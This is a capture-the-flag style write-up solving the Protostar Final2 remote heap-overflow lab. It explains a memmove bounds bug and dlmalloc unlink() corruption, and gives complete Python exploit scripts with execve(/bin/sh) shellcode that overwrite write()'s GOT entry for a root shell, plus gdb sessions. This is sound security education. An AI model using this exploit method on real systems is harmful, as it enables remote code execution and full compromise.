My Solution to Exploit Exercises Protostar Final2 Level

|

This is an explanation of Protostar level Final2. I wrote a solution in April without an explanation. I read it last night and had to spend half a day to understand it again. So next time I’ll write the explanation while it’s still fresh in my head.

The level’s description is

Remote heap level :)
Core files will be in /tmp.
This level is at /opt/protostar/bin/final2

This is the source code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#include "../common/common.c"
#include "../common/malloc.c"

#define NAME "final2"
#define UID 0
#define GID 0
#define PORT 2993

#define REQSZ 128

void check_path(char *buf)
{
  char *start;
  char *p;
  int l;

  /*
  * Work out old software bug
  */

  p = rindex(buf, '/');
  l = strlen(p);
  if(p) {
      start = strstr(buf, "ROOT");
      if(start) {
          while(*start != '/') start--;
          memmove(start, p, l);
          printf("moving from %p to %p (exploit: %s / %d)\n", p, start, start < buf ?
          "yes" : "no", start - buf);
      }
  }
}

int get_requests(int fd)
{
  char *buf;
  char *destroylist[256];
  int dll;
  int i;

  dll = 0;
  while(1) {
      if(dll >= 255) break;

      buf = calloc(REQSZ, 1);
      destroylist[dll] = buf; /* Line is missing in original source. gdb disassemble will show it. */
      if(read(fd, buf, REQSZ) != REQSZ) break;

      if(strncmp(buf, "FSRD", 4) != 0) break;

      check_path(buf + 4);

      dll++;
  }

  for(i = 0; i < dll; i++) {
                write(fd, "Process OK\n", strlen("Process OK\n"));
      free(destroylist[i]);
  }
}

int main(int argc, char **argv, char **envp)
{
  int fd;
  char *username;

  /* Run the process as a daemon */
  background_process(NAME, UID, GID);

  /* Wait for socket activity and return */
  fd = serve_forever(PORT);

  /* Set the client socket to STDIN, STDOUT, and STDERR */
  set_io(fd);

  get_requests(fd);

}

Overview of source code

The first line of the description coupled with the fact the code listens on port 2993 means we’ll have to send a TCP packet that exploits a heap related vulnerability. main() is pretty simple. It runs the final2 binary in the background as root and processes requests with get_requests(). get_requests() declares an array of 256 char pointers and reads input strings into it. If any request size isn’t REQSZ or 128 bytes, the function breaks out of the while(1) loop. Any request payload that doesn’t start with FSRD also breaks out of the loop. The check_path() function is then called and dll is incremented. A for-loop writes “Process OK” to stdout and frees each string buffer starting with the oldest.

check_path() stores a pointer to buf’s right-most / in p. l is the length of the string starting from p. If p is greater than 0, start points to the part of buf that has "ROOT". If "ROOT" is a substring in buf, the while loop decrements start until it finds a /. Then memmove() moves l bytes of the string starting at p to start.

A TCP packet with the string FSRD/ROOT/AAAA will cause p to point to the second /. So p as a string is /AAAA. l is 5. start initially points to the R in ROOT and later is decremented to point to the first /. memmove() changes the string to FSRD/AAAA/AAAA.

Notice that start-- doesn’t check the bounds of the string passed in by buf. It will keep scanning leftward until it finds some /. So memmove() can write to memory outside of the current string.

General Exploit Strategy

We know we’ll need to exploit the free() call which in this series of exercises uses the vulnerable dlmalloc unlink() macro. In a previous post, I showed how this exploit manipulates heap memory to redirect code execution. We’ll need to inject shellcode via the request payloads. Our request payloads also need to corrupt heap memory in a way that will trick dlmalloc into redirecting code to the shellcode.

Exploiting memmove()

Let’s craft a first payload that will allow the second payload to overwrite heap memory before the start of the second string. FSRDAAAA...AAAA/AAAA should work. The second payload can be FSRDROOTAAA...AAAA/BBBB. After the second call to check_path(), the heap memory of the first string should be FSRDAAAA...AAAA/BBBB. Let’s confirm this with a Python script and gdb. We’ll set a breakpoint right after the call to check_path() and send these two strings.

We save the following contents to a file named test.py.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/env python

import socket
import sys

HOST = sys.argv[1]
PORT = 2993
REQSZ = 128

# Establish TCP connection
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

payload1 = 'FSRD' + 'A' * (REQSZ - 4 - 5) + '/' + 'AAAA'  # 'FSRDAAAA.../AAAA'
s.sendall(bytes(payload1, 'ascii'))

payload2 = 'FSRD' + 'ROOT' + 'A' * (REQSZ - 8 - 5) + '/' + 'BBBB'  # 'FSRDROOTAAAA.../BBBB'
s.sendall(bytes(payload2, 'ascii'))

# Terminate session by sending a payload that causes get_requests() to return
s.sendall(bytes('AAAA', 'ascii'))

data = s.recv(1024)
print(data.decode('ascii'))  # print the confirmation

s.close()

I’m running the Protostar VM on Virtualbox on a Macbook. Set the network settings for the VM to Host-only Adapter. Once the VM starts, use the Virtualbox “Show” button to get a terminal to the VM. Login as user with password user. Run ip addr show to find the VM’s local IP address. Mine is 192.168.99.107. I then close the Virtualbox terminal because I like to use iTerm. I SSH with iTerm into the VM as root with password godmode. We need to be root in order to attach gdb to a running process.

1
ssh -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" root@192.168.99.107

You can see final2 is already running. We get the PID.

1
2
root@protostar:/# ps aux | grep final2
root      1495  0.0  0.2   1544   284 ?        Ss   10:44   0:00 /opt/protostar/bin/final2

Now attach gdb to it. Since the program forks a new child process to handle requests, we set follow-fork-mode child to make gdb follow the child process instead of the parent. set detach-on-fork off makes gdb hold control of both parent and child (I’m not sure if this is necessary). The other two gdb settings are my personal preferences.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
root@protostar:/# gdb /opt/protostar/bin/final2 -p 1495

GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /opt/protostar/bin/final2...done.
Attaching to program: /opt/protostar/bin/final2, process 1495
Reading symbols from /lib/libc.so.6...Reading symbols from /usr/lib/debug/lib/libc-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...Reading symbols from /usr/lib/debug/lib/ld-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
accept () at ../sysdeps/unix/sysv/linux/i386/socket.S:64
64    ../sysdeps/unix/sysv/linux/i386/socket.S: No such file or directory.
  in ../sysdeps/unix/sysv/linux/i386/socket.S

(gdb) set follow-fork-mode child
(gdb) set detach-on-fork off
(gdb) set disassembly-flavor intel
(gdb) set pagination off

Disassemble get_requests() to find where check_path() returns.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
(gdb) disassemble get_requests
Dump of assembler code for function get_requests:
0x0804bd47 <get_requests+0>: push   ebp
0x0804bd48 <get_requests+1>: mov    ebp,esp
...
0x0804bdce <get_requests+135>:   mov    DWORD PTR [esp],eax
0x0804bdd1 <get_requests+138>:   call   0x804bcd0 <check_path>
0x0804bdd6 <get_requests+143>:   jmp    0x804bd57 <get_requests+16>
0x0804bddb <get_requests+148>:   nop
...
0x0804be25 <get_requests+222>:   ret
End of assembler dump.

(gdb) break *get_requests+143
Breakpoint 1 at 0x804bdd6: file final2/final2.c, line 51.
(gdb) c
Continuing.

Now run our Python script in another terminal to send the strings.

1
python test.py 192.168.99.107

Our gdb terminal will show the following.

1
2
3
4
5
6
7
8
[New process 2322]
[Switching to process 2322]

Breakpoint 1, get_requests (fd=4) at final2/final2.c:51
51    final2/final2.c: No such file or directory.
  in final2/final2.c
Current language:  auto
The current source language is "auto; currently c".

Print buf to show the address it points to. Then examine the first 40 DWORDs in hexadecimal starting at address 0x804e000 (0x804e008 - 0x8 so we can see the first heap chunk’s metadata in the previous 8 bytes). We can see its FSRD (0x44525346) followed by lots of As (0x41s) and ends in /AAAA.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
(gdb) p buf
$1 = 0x804e008 "FSRD", 'A' <repeats 119 times>, "/AAAA"

(gdb) x/40wx 0x804e000
0x804e000: 0x00000000  0x00000089  0x44525346  0x41414141
0x804e010: 0x41414141  0x41414141  0x41414141  0x41414141
0x804e020: 0x41414141  0x41414141  0x41414141  0x41414141
0x804e030: 0x41414141  0x41414141  0x41414141  0x41414141
0x804e040: 0x41414141  0x41414141  0x41414141  0x41414141
0x804e050: 0x41414141  0x41414141  0x41414141  0x41414141
0x804e060: 0x41414141  0x41414141  0x41414141  0x41414141
0x804e070: 0x41414141  0x41414141  0x41414141  0x41414141
0x804e080: 0x2f414141  0x41414141  0x00000000  0x00000f79
0x804e090: 0x00000000  0x00000000  0x00000000  0x00000000

We continue and examine the memory of the first chunk again. We expect the memory at address 0x804e084 to be BBBB or 0x42424242 which it is.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
(gdb) c
Continuing.

Breakpoint 1, get_requests (fd=4) at final2/final2.c:51
51    in final2/final2.c

(gdb) x/40wx 0x804e000
0x804e000: 0x00000000  0x00000089  0x44525346  0x41414141
0x804e010: 0x41414141  0x41414141  0x41414141  0x41414141
0x804e020: 0x41414141  0x41414141  0x41414141  0x41414141
0x804e030: 0x41414141  0x41414141  0x41414141  0x41414141
0x804e040: 0x41414141  0x41414141  0x41414141  0x41414141
0x804e050: 0x41414141  0x41414141  0x41414141  0x41414141
0x804e060: 0x41414141  0x41414141  0x41414141  0x41414141
0x804e070: 0x41414141  0x41414141  0x41414141  0x41414141
0x804e080: 0x2f414141  0x42424242  0x00000000  0x00000089
0x804e090: 0x44525346  0x544f4f52  0x41414141  0x41414141

Exploiting free()

With the ability to overwrite bytes following a strategically placed / character in the previous heap chunk, we can perform a classic heap overflow exploit using the unlink() technique. We can’t overwrite the first chunk’s heap metadata because there’s no way to insert a / before it. So we target the second chunk’s heap metadata. I’m now going to rehash some of the dlmalloc algorithm explained in my previous post because it can be a little confusing.

When the first chunk is freed, unlink() will run on the second chunk if the second chunk has already been freed. dlmalloc determines if the second chunk is freed by checking the third chunk’s PREV_INUSE bit which is the lowest bit of the second byte of the chunk. In order to find the start of the third chunk, dlmalloc adds the value of the chunk’s second DWORD bitmasked with 0x1 (i.e. ignoring the lowest bit) to the chunk’s starting address. So in the above memory dump, the start of the second chunk is 0x00000089 &0x1 + 0x804e000 = 0x804e088. Likewise, the start of the third chunk is 0x00000089 &0x1 + 0x804e088 = 0x804e110. So we have to figure out a way to write arbitrary bytes to the third chunk.

But we’re already writing arbitrary bytes to the second chunk’s metadata. Is there way to make dlmalloc think the third chunk starts somewhere in memory where we’re already writing bytes for the second chunk? Nothing in dlmalloc checks the third chunk is actually right after the second. dlmalloc just blindly performs an addition on two numbers. One of these numbers is the second chunk’s size which we can set via the memmove() bug. Let’s make dlmalloc think the third chunk is actually four bytes before the start of the second chunk. The second chunk is at 0x804e088 so the “virtual” third chunk will be at 0x804e084. What number added to 0x804e088 equals 0x804e084? -4. [Integer overflow] means adding 0xfffffffc is the same as adding -4 (0x804e088 + 0xfffffffc = 0x804e084). So the second chunk’s second DWORD representing its size must be 0xfffffffc, and the PREV_INUSE bit of the third chunk must be 0. 0xfffffffc 0xfffffffc will work.

Once we fool dlmalloc into thinking the second chunk is already freed, dlmalloc will unlink() it. So we need to craft values for the second chunk’s forwards and backwards pointers such that unlink() will redirect code execution to another region of memory where we can insert shellcode.

In the Heap3 level we overwrote the address of a function in the procedure linkage table (PLT) with the address of shellcode. We can do the same here. Since we send two packets, dll will be 2. The for-loop will call write() twice. The first free() will overwrite write()’s address in the PLT. Let’s find the PLT address containing the address of write(). We disassemble get_requests, examine the address 0x8048dfc as an instruction to get the address in the global offset table (GOT) that points to the dynamically linked library containing the actual write()0 function. We want to overwrite the contents of 0x804d41c with the address of our shellcode. Since unlink() adds 12 to the forwards pointer, we need to make the forward pointer 0x804d41c - 12.

1
2
3
4
5
6
7
8
9
10
11
12
13
disassemble get_requests

Dump of assembler code for function get_requests:
...
0x0804be01 <get_requests+186>:   call   0x8048dfc <write@plt>
...
End of assembler dump.

(gdb) x/i 0x8048dfc
0x8048dfc <write@plt>:  jmp    DWORD PTR ds:0x804d41c

(gdb) x/x 0x804d41c
0x804d41c <_GLOBAL_OFFSET_TABLE_+64>:    0xb7f53c70

Crafting Malicious Packets

Where should we put our shellcode? We can include it in our first request. The first two DWORDs will be clobbered by dlmalloc when it sets the first chunk’s forwards and backwards pointers. The first word needs to be used for FSRD anyways. So let’s put shellcode at 0x804e010. This address will be our backwards pointer.

To summarize, this is how the packets should look so far.

The first payload must start with FSRD. Then we need four bytes of filler bytes AAAA followed by shellcode (TBD). The last byte must be / for memmove(). The payload must be 128 bytes. The spaces in the payload visualization below are just for readability. They shouldn’t be in the actual payload.

1
FSRD AAAA <shellcode> AAAA ... AAA/

The second payload must start with FSRDROOT. Then have 0xfffffffc 0xfffffffc. Then the forward pointer 0x804d41c - 12 and backward pointer 0x804e010. The whole payload must again be 128 bytes. We can just fill with As.

1
FSRD ROOT 0xfffffffc 0xfffffffc 0x804d41c - 12 0x804e010 AAAA ... AAAA

Before we craft shellcode, let’s confirm the exploit will redirect code execution to the proposed shellcode address. Instead of using actual shellcode, we’ll use four bytes of 0xcc which is a one-byte x86 instruction called INT3 that causes the processor to halt the process for any attached debuggers. If we hit this opcode, our attached gdb debugger receive the SIGTRAP signal. Let’s test with the below Python script.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import socket
import struct
import sys
import telnetlib


REQSZ = 128
HOST = sys.argv[1]
PORT = 2993

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

shellcode = b'\xcc\xcc\xcc\xcc'


ba = bytearray(bytes('FSRDAAAA', 'ascii'))
ba.extend(shellcode)
ba = ba.ljust(REQSZ, b'\x41')
ba[-1] = ord('/')
s.sendall(ba)

ba = bytearray(bytes('FSRDROOT/', 'ascii'))
# Use integer overflow to make dlmalloc think third chunk is 4 bytes before second chunk.
ba.extend(struct.pack('I', 0xfffffffc) + struct.pack('I', 0xfffffffc))
# Add forward and backward pointers
ba.extend(struct.pack('I', 0x804d41c - 12) + struct.pack('I', 0x804e010))
ba = ba.ljust(REQSZ, b'\x41')
s.sendall(ba)

t = telnetlib.Telnet()
t.sock = s
t.interact()

Attach gdb to the final2 process again.

1
2
3
4
5
6
7
8
9
10
11
ssh -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" root@192.168.99.107

root@protostar:/# gdb /opt/protostar/bin/final2 -p 1495
...

(gdb) set follow-fork-mode child
Current language:  auto
The current source language is "auto; currently asm".
(gdb) set detach-on-fork off
(gdb) set disassembly-flavor intel
(gdb) set pagination off

Set a breakpoint at the call to write().

1
2
3
4
(gdb) break *get_requests+186
Breakpoint 1 at 0x804be01: file final2/final2.c, line 54.
(gdb) c
Continuing.

Run the Python script in another terminal. Hit enter to send a third packet that’s less than 128 bytes to break out of the while(1) loop.

1
2
3
python final2.py 192.168.99.107
<enter>
Process OK

The gdb session should hit the breakpoint at write().

1
2
3
4
5
6
7
8
[New process 2622]
[Switching to process 2622]

Breakpoint 1, 0x0804be01 in get_requests (fd=4) at final2/final2.c:54
54    final2/final2.c: No such file or directory.
  in final2/final2.c
Current language:  auto
The current source language is "auto; currently c".

Examine the first 80 DWORDs. Continue and examine again.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
(gdb) x/80wx 0x804e000
0x804e000: 0x00000000  0x00000089  0x44525346  0x41414141
0x804e010: 0xcccccccc  0x41414141  0x41414141  0x41414141
0x804e020: 0x41414141  0x41414141  0x41414141  0x41414141
0x804e030: 0x41414141  0x41414141  0x41414141  0x41414141
0x804e040: 0x41414141  0x41414141  0x41414141  0x41414141
0x804e050: 0x41414141  0x41414141  0x41414141  0x41414141
0x804e060: 0x41414141  0x41414141  0x41414141  0x41414141
0x804e070: 0x41414141  0x41414141  0x41414141  0x41414141
0x804e080: 0x41414141  0x2f414141  0xfffffffc  0xfffffffc
0x804e090: 0x0804d410  0x0804e014  0x41414141  0x41414141
0x804e0a0: 0x41414141  0x41414141  0x41414141  0x41414141
0x804e0b0: 0x41414141  0x41414141  0x41414141  0x41414141
0x804e0c0: 0x41414141  0x41414141  0x41414141  0x41414141
0x804e0d0: 0x41414141  0x41414141  0x41414141  0x41414141
0x804e0e0: 0x41414141  0x41414141  0x41414141  0x41414141
0x804e0f0: 0x41414141  0x41414141  0x41414141  0x41414141
0x804e100: 0x41414141  0x41414141  0x41414141  0x41414141
0x804e110: 0x00000000  0x00000089  0x0000000a  0x00000000
0x804e120: 0x00000000  0x00000000  0x00000000  0x00000000
0x804e130: 0x00000000  0x00000000  0x00000000  0x00000000

(gdb) c
Continuing.
Breakpoint 1, 0x0804be01 in get_requests (fd=4) at final2/final2.c:54
54    in final2/final2.c

(gdb) x/80wx 0x804e000
0x804e000: 0x00000000  0x00000085  0x0804d534  0x0804d534
0x804e010: 0xcccccccc  0x41414141  0x0804d410  0x41414141
0x804e020: 0x41414141  0x41414141  0x41414141  0x41414141
0x804e030: 0x41414141  0x41414141  0x41414141  0x41414141
0x804e040: 0x41414141  0x41414141  0x41414141  0x41414141
0x804e050: 0x41414141  0x41414141  0x41414141  0x41414141
0x804e060: 0x41414141  0x41414141  0x41414141  0x41414141
0x804e070: 0x41414141  0x41414141  0x41414141  0x41414141
0x804e080: 0x41414141  0x00000084  0xfffffffc  0xfffffffc
0x804e090: 0x0804d410  0x0804e014  0x41414141  0x41414141
0x804e0a0: 0x41414141  0x41414141  0x41414141  0x41414141
0x804e0b0: 0x41414141  0x41414141  0x41414141  0x41414141
0x804e0c0: 0x41414141  0x41414141  0x41414141  0x41414141
0x804e0d0: 0x41414141  0x41414141  0x41414141  0x41414141
0x804e0e0: 0x41414141  0x41414141  0x41414141  0x41414141
0x804e0f0: 0x41414141  0x41414141  0x41414141  0x41414141
0x804e100: 0x41414141  0x41414141  0x41414141  0x41414141
0x804e110: 0x00000000  0x00000089  0x0000000a  0x00000000
0x804e120: 0x00000000  0x00000000  0x00000000  0x00000000
0x804e130: 0x00000000  0x00000000  0x00000000  0x00000000

Memory at 0x804e008 and 0x804e00c have been changed (to addresses before the heap. I guess because it’s some special value for the first chunk). Our INT3 instruction is at 0x804e010. Let’s look at the GOT entry for write().

1
2
3
4
5
(gdb) x/i 0x8048dfc
0x8048dfc <write@plt>:  jmp    DWORD PTR ds:0x804d41c

(gdb) x/x 0x804d41c
0x804d41c <_GLOBAL_OFFSET_TABLE_+64>:    0x0804e014

Its value is the location of our INT3. This means the next call to write() will redirect code execution to our INT3 which should cause gdb to break again.

1
2
3
4
5
(gdb) c
Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.
0x0804e011 in ?? ()

It worked!

Crafting the Shellcode

So now all we have to is insert some real shellcode that’ll own the system. Since final2 is running as root, let’s make the process start a shell. This will allow us send arbitrary commands over TCP that get executed as root, i.e. remote code execution. Shellstorm has a great library of shellcodes. Let’s use “Linux/x86 - execve(/bin/sh) - 28 bytes”. But we have a problem. unlink() overwrites the memory at 0x804e018 (it’ll always overwrite four bytes of memory eight bytes ahead of whatever address we pick), and no useful shellcode is short enough to fit into eight bytes. What can we do?

If the shellcode could only jump past 0x804e018 to 0x804e01c where we have a huge piece of contiguous memory. Luckily the jmp instruction (\xeb) does exactly this. Its argument is how many bytes to jump over. So our shellcode can start with 0xeb 0x0a which moves the instruction pointer 10 bytes forward. We fill in the middle 10 bytes with nops (0x90). Our final script will be this.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import socket
import struct
import sys
import telnetlib


REQSZ = 128
HOST = sys.argv[1]
PORT = 2993

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

# Two bytes for "jmp 0x0c", two bytes of nop padding to fill out the word,
# eight more nop bytes (second nop DWORD will be clobbered by unlink()),
# then actual shellcode from http://shell-storm.org/shellcode/files/shellcode-811.php
shellcode = b'\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90' \
            b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69' \
            b'\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31' \
            b'\xc0\x40\xcd\x80'

# These eight bytes will be overwritten by unlink().
ba = bytearray(bytes('FSRDAAAA', 'ascii'))
ba.extend(shellcode)
ba = ba.ljust(REQSZ, b'\x41')
# Set the last byte to a '/' for memmove().
ba[-1] = ord('/')
s.sendall(ba)

ba = bytearray(bytes('FSRDROOT/', 'ascii'))
# Use integer overflow to make dlmalloc think third chunk is four bytes before second chunk.
ba.extend(struct.pack('I', 0xfffffffc) + struct.pack('I', 0xfffffffc))
# Add forward and backward pointers
ba.extend(struct.pack('I', 0x804d41c - 12) + struct.pack('I', 0x804e010))
ba = ba.ljust(REQSZ, b'\x41')
s.sendall(ba)

t = telnetlib.Telnet()
t.sock = s
t.interact()
1
2
3
4
5
python final2.py 192.168.99.107

Process OK
whoami
root

References

Comments